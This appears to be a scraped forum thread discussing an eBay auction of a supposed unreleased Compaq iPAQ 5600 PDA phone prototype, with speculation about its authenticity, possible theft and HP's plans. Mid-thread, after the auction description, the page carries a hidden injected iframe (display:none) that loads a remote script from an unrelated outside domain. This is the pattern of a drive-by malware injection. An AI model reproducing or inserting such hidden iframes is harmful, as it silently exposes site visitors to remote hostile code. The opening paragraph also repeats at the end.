A few days ago, someone was the successful bidder for an iPAQ 5600 pdaPhone.... that part is for real. The auction looks legitimate, especially since the seller has a rating of 2623. It is described as a one of a kind prototype. It has built-in Bluetooth, WiFi, and included GSM/GPRS and CDMA modules. If this thing IS for real, you really have to wonder what HP is thinking. Why would they have developed something like this, and then not released it to the public?
Here is the text description from the auction...
You are bidding on a very special, perhaps one-of-a kind!!
Compaq iPAQ 5600(?) 64MB Color Pocket PC 2002!!
Includes GSM and CDMA Modules!!
Is this the next new iPAQ??
Based on the HP H5455, this is an unreleased prototype(?) of the latest, top of the line series PPC 2002 iPAQ and bears the Compaq (not HP) logo!!
64MB RAM, 48MB ROM, ultra-bright transreflective 65K color display and... 400mHz XScale Processor!! Also includes removable rechargeable battery!! Provides biometric security!!
Has built-in Bluetooth AND 802.11 WiFi Wireless!!
Comes packaged complete with the essential hardware and software!!
This very special iPAQ is intended for those who just must have the latest in technology and are eager to explore cutting edge hardware!! I won't be able to help you much with this one, since I've not had the time to experiment with the communications modules, but I will certainly be happy to share with you all I know about the iPAQ and its origins!! I've contacted some people in the press and have found considerable interest in the machine... in fact, they're having a hard time believing I actually have it and have asked for pictures and details!!
You can check it out at eBay until they remove the auction.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
So we don't know if this is for real or not? Does it have expansian slot? Is it SDIO? Can it be upgraded to PPC2003? where does the module go, in the back of it? And last question how BIG is it?
I don't know about all your questions, but at least one person was willing to pay over $600 to find out.
As for the size, my guess is that it is the same size as 55xx models. If you recall, there was a picture that HP used in their marketing with 3 wireless devices (with antennas). I think that this is probably one of them, but for some reason they decided not to sell it. Odd. I personally think it was a huge mistake for their momentum. All indications are now that the future of the PDA is a pdaPhone. There is a lot of momentum that they had with their early Jornada... a pretty decent device, that they lost... now again. Odd.
I'm surprised you guys don't remember the talk of this a while back.....Marc, I'm sure you remember don't you? I'm just surprised that they have not said more about this project....it may still be in the works though...
The question I'd be asking given this purports to be a prototype is - how did this individual come by this device and who from HP gave him permission to sell it?
The words "Stolen Property" come flashing on in my mind in 6 foot high neon lights as I read that article.
I'd want to see signed documents from an authorised HP representative stating they have full knowledge of the articles existance, that it is left thier ownership under legitimate circumstances and that they have no further hold the item before I'd even think about touching that device.
I'd say this "prototype" is about a year old. Compaq was working on this exact combo last year when AT&T released the SX56 (Oct 6th). I know T-Mobile had their's out long before that.
With the HP / Compaq merger, all development was thrown into a termoil and focus was put on developing a solid PPC platform, not a PPCPE. Thus the disappearance of this device.
HP has been testing various "prototypes", really proof of concepts with various Fortune 500 IT departments seeing if a GSM/GPRS or CDMA type PPCPE would take off. The feedback they recieved was that having a phone as part of the PPC was not a popular one amongst exectutives, mainly siting the size. But also, it's inability to compete with Blackberry type devices that have instant access to email.
On top of it, HP hasn't, yet... Been able to secure any carrier contracts that I am aware of. Which means considerable extract costs in acquiring service via a big carrier.
Also, to feed the rumor mill, and that's exactly what this is, as I can not offer any proof... Just speculation and extraction of information I've personally seen (not under any NDA, either), Dell seems to also be toying with the PDA phone idea. But like HP has been running into many barriers when it comes to the various US carriers.
The Wireless Carriers all want exclusive access to the phone or specific versions locked to their networks. Neither HP nor Dell are willing to settle with one carrier (thankfully) and hopefully they will win and bust the Wireless Carriers lock on their networks. Allowing people to buy their own phones and move from service to service with ease. Apply some pressure.
Oh well, that's my observations and assumptions... Take them as you want.
It may be for real. HP was working on a ipaq with gprs and cdma until recently when they, according to my source,scrapped the project due to countless bugs, problems, etc. They were ordered to destroy the prototypes. Guess someone didn't comply.
Interesting info on PPCZone thread. My guess is that this was never supposed to see the light of day. I'd also guess that it would never work as a pdaPhone, because it would probably need PPCPE to work, and that is not available outside of the OEM channel, and must be tailored for a specific device. So, this is a nice museum collector item, and proves nothing about HP's intentions.
I don't know of any concrete info that HP is planning to do a Pocket PC pdaPhone. The latest rumors were of Smartphones.
A few days ago, someone was the successful bidder for an iPAQ 5600 pdaPhone.... that part is for real. The auction looks legitimate, especially since the seller has a rating of 2623. It is described as a one of a kind prototype. It has built-in Bluetooth, WiFi, and included GSM/GPRS and CDMA modules. If this thing IS for real, you really have to wonder what HP is thinking. Why would they have developed something like this, and then not released it to the public?
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